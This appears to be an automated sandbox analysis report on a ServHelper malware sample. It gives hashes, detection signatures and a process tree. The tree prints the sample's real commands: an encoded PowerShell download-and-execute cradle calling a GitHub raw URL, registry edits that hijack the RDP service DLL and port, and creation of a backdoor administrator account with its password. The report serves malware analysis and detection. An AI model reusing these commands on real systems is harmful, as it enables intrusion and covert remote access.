Analysis

  • max time kernel
    48s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-08-2021 07:36

General

  • Target

    bfe0ac25eeeb759f7c8e06229c7313a2.exe

  • Size

    5.9MB

  • MD5

    bfe0ac25eeeb759f7c8e06229c7313a2

  • SHA1

    199c1fbd29f9ec98b83464763dac63ef80998bb3

  • SHA256

    be9c5e5ce6d4544e6bddbd47c26873fe0c33414086824b1d4968a638184a8a7c

  • SHA512

    a0f3b477de1603d7e032608692857a4865059ba61ae1276334f281970a1484a6c81463fba2a2bbc9821c016e06e206d621fdb97e8743fc60e3515fba88997a72

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfe0ac25eeeb759f7c8e06229c7313a2.exe
    "C:\Users\Admin\AppData\Local\Temp\bfe0ac25eeeb759f7c8e06229c7313a2.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4dpkxhkc\4dpkxhkc.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2938.tmp" "c:\Users\Admin\AppData\Local\Temp\4dpkxhkc\CSC566D3070E6FA445095B09EA7D51A1EB8.TMP"
          4⤵
            PID:3328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2912
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:3388
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:736
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:208
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3356
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1968
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2132
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:736
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3388
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2032
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2488
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2912
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:492
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:684
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4472
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4488
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3948
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1132
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3772
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc pz7fz8AV /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2784
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc pz7fz8AV /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1968
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc pz7fz8AV /add
                          3⤵
                            PID:1684
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3116
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3948
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:1292
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1280
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2132
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:2824
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3864
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2116
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3880
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc pz7fz8AV
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1132
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc pz7fz8AV
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:748
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc pz7fz8AV
                                  3⤵
                                    PID:3936
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1292
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:3956
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:3848
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:3116
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:2920
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:1132
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2824

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\4dpkxhkc\4dpkxhkc.dll

                                          MD5

                                          20ec1ba85174b61c5e723a856f7e8bd8

                                          SHA1

                                          44482a7badbb287c14277cff87b66c2202215f6e

                                          SHA256

                                          7c70c983cf025dd3e3c088790305f7206bd9b59c61e013213e95210e0e6e2e2e

                                          SHA512

                                          c1fd220f50a33a92ab4f52195d6c2f027967386165ea40a023a8e940ca02e367eea2e0abc010f21857d99fcfbb7bf8d6256c4fbd0db43f32c450750c9ee7f00f

                                        • C:\Users\Admin\AppData\Local\Temp\RES2938.tmp

                                          MD5

                                          390f6f39ffbbd2b0190a22ede844406a

                                          SHA1

                                          35d76b22b294a7d1a0ddea4b9aa0726223cdcc53

                                          SHA256

                                          24b0d1fb62ae2d618466cab8e792b9a46833e821fe1c952b14898cd97f58bf46

                                          SHA512

                                          21923b424ef732cf34d62acb110334a772c8fbd949f07b47d2aa15f67fa6030aa48f92b966505c572f21726f05e7ce7a415d1e5a07fb5642e714cbc4b759ccc7

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          3447df88de7128bdc34942334b2fab98

                                          SHA1

                                          519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                          SHA256

                                          9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                          SHA512

                                          2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                        • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                          MD5

                                          6938a2a0fa3adc1ab9cc3bb479ff0e74

                                          SHA1

                                          37e2117cf83cdf1a631a394ce6f0c57f70ee3f47

                                          SHA256

                                          df16833eb7975ca070466bf2f655e078508a59968d8f50f14a8ff7873008d068

                                          SHA512

                                          5509bae8342bfc482a671258fe3012247f89b2449e84f6c42a4dd0bc73cd4177fff6d581c3615214fc0b5f115a77e24213c5dd37f8c0631eb9064349c33eec79

                                        • \??\c:\Users\Admin\AppData\Local\Temp\4dpkxhkc\4dpkxhkc.0.cs

                                          MD5

                                          4864fc038c0b4d61f508d402317c6e9a

                                          SHA1

                                          72171db3eea76ecff3f7f173b0de0d277b0fede7

                                          SHA256

                                          0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                          SHA512

                                          9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                        • \??\c:\Users\Admin\AppData\Local\Temp\4dpkxhkc\4dpkxhkc.cmdline

                                          MD5

                                          f274ef0e5716aa2d53f81eb7c48d9a7b

                                          SHA1

                                          31e938eee074c01efb07242cdb0b0108410b5182

                                          SHA256

                                          748e6c0be2aa4766cf3c1c10304a53c4b1a05ccbd902b954aa9223b63d1a353e

                                          SHA512

                                          b4896a244ad4331136ce5c4cc60f898f13cccbf4ed09a1c671fa25436dd278351517438ff228066ac12993a8652fc10f75c6ba8a77aef1250c909ce90e7c34ea

                                        • \??\c:\Users\Admin\AppData\Local\Temp\4dpkxhkc\CSC566D3070E6FA445095B09EA7D51A1EB8.TMP

                                          MD5

                                          dd4adaad350a488dbae6b396ee30e93f

                                          SHA1

                                          049a55ee669585036180495e9995494916c43050

                                          SHA256

                                          4d7444ef055894e5377870b46968b96d0388937262650c6eb1db6579f7a550a6

                                          SHA512

                                          a8b7f4b4460cbb5e370f6ee8ea43c4f3dc8262cd7b2f289a9ae152d0b5ab9e5c6b2af99b8f707c2daa5499d0951072f1f0c76fd7d266b7976d5619f8e2d1020c

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          70d1bf1c7a95f0613358ac07bc3864ad

                                          SHA1

                                          52783a6ace472471ad68b602c604e48340737596

                                          SHA256

                                          88e639c34e7798f2e51a121db7e0dedc7c5f4bfa95963bb5c93bcb221e0127c3

                                          SHA512

                                          ed5e46ee00e735ca09c5cf4dfed311a4229ff08e9d626c1afa2ed6cc7543f8808259f9553666844ebf25d775b20af0a9bafe59c3b525a6918db1e8c7f70e4fb5

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          58b4c6a70f55d70a401015da300261b2

                                          SHA1

                                          a13b8a1a577c3638c311f5e668b61cea8a532d35

                                          SHA256

                                          9eaa1a087f7aaa768134c540941584fdc2cd8d050b375a36ded9d1cdf7fb7fe0

                                          SHA512

                                          0ae4aaf9f6383b752b824f86e9ae10983e9f00df9868efa3a1c5e1f2bfae062e43458260c7a379b7d6f711f4ef6a6f22035cc4cd21d7ba1b3c7a5e10f8f06289

                                        • memory/208-299-0x0000000000000000-mapping.dmp

                                        • memory/428-212-0x000002174B798000-0x000002174B79A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/428-159-0x0000000000000000-mapping.dmp

                                        • memory/428-168-0x000002174B790000-0x000002174B792000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/428-169-0x000002174B793000-0x000002174B795000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/428-192-0x000002174B796000-0x000002174B798000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/492-346-0x0000000000000000-mapping.dmp

                                        • memory/684-347-0x0000000000000000-mapping.dmp

                                        • memory/736-341-0x0000000000000000-mapping.dmp

                                        • memory/736-134-0x0000000000000000-mapping.dmp

                                        • memory/736-298-0x0000000000000000-mapping.dmp

                                        • memory/748-360-0x0000000000000000-mapping.dmp

                                        • memory/1132-350-0x0000000000000000-mapping.dmp

                                        • memory/1132-364-0x0000000000000000-mapping.dmp

                                        • memory/1292-355-0x0000000000000000-mapping.dmp

                                        • memory/1684-353-0x0000000000000000-mapping.dmp

                                        • memory/1808-114-0x00000254E98C0000-0x00000254E9CE0000-memory.dmp

                                          Filesize

                                          4.1MB

                                        • memory/1808-119-0x00000254CF506000-0x00000254CF507000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1808-118-0x00000254CF505000-0x00000254CF506000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1808-117-0x00000254CF503000-0x00000254CF505000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1808-116-0x00000254CF500000-0x00000254CF502000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1968-352-0x0000000000000000-mapping.dmp

                                        • memory/1968-337-0x0000000000000000-mapping.dmp

                                        • memory/1988-214-0x00000149F70C3000-0x00000149F70C5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1988-215-0x00000149F70C6000-0x00000149F70C8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1988-255-0x00000149F70C8000-0x00000149F70CA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1988-213-0x00000149F70C0000-0x00000149F70C2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1988-201-0x0000000000000000-mapping.dmp

                                        • memory/2032-343-0x0000000000000000-mapping.dmp

                                        • memory/2116-358-0x0000000000000000-mapping.dmp

                                        • memory/2132-356-0x0000000000000000-mapping.dmp

                                        • memory/2132-340-0x0000000000000000-mapping.dmp

                                        • memory/2488-344-0x0000000000000000-mapping.dmp

                                        • memory/2732-125-0x0000020AABC70000-0x0000020AABC71000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2732-128-0x0000020AABE70000-0x0000020AABE71000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2732-120-0x0000000000000000-mapping.dmp

                                        • memory/2732-152-0x0000020AAC740000-0x0000020AAC741000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2732-141-0x0000020AABCE3000-0x0000020AABCE5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2732-142-0x0000020AABCE6000-0x0000020AABCE8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2732-140-0x0000020AABCE0000-0x0000020AABCE2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2732-144-0x0000020AABCC0000-0x0000020AABCC1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2732-151-0x0000020AAC3B0000-0x0000020AAC3B1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2732-148-0x0000020AABCE8000-0x0000020AABCE9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2824-357-0x0000000000000000-mapping.dmp

                                        • memory/2824-390-0x0000020EFD078000-0x0000020EFD079000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2824-380-0x0000020EFD076000-0x0000020EFD078000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2824-378-0x0000020EFD070000-0x0000020EFD072000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2824-379-0x0000020EFD073000-0x0000020EFD075000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2824-365-0x0000000000000000-mapping.dmp

                                        • memory/2912-240-0x0000000000000000-mapping.dmp

                                        • memory/2912-259-0x00000267C4CC3000-0x00000267C4CC5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2912-262-0x00000267C4CC6000-0x00000267C4CC8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2912-257-0x00000267C4CC0000-0x00000267C4CC2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2912-287-0x00000267C4CC8000-0x00000267C4CCA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2912-345-0x0000000000000000-mapping.dmp

                                        • memory/3116-363-0x0000000000000000-mapping.dmp

                                        • memory/3328-137-0x0000000000000000-mapping.dmp

                                        • memory/3356-336-0x0000000000000000-mapping.dmp

                                        • memory/3388-342-0x0000000000000000-mapping.dmp

                                        • memory/3388-297-0x0000000000000000-mapping.dmp

                                        • memory/3772-351-0x0000000000000000-mapping.dmp

                                        • memory/3880-359-0x0000000000000000-mapping.dmp

                                        • memory/3936-361-0x0000000000000000-mapping.dmp

                                        • memory/3948-354-0x0000000000000000-mapping.dmp

                                        • memory/3956-362-0x0000000000000000-mapping.dmp

                                        • memory/4472-444-0x0000000000000000-mapping.dmp

                                        • memory/4488-445-0x0000000000000000-mapping.dmp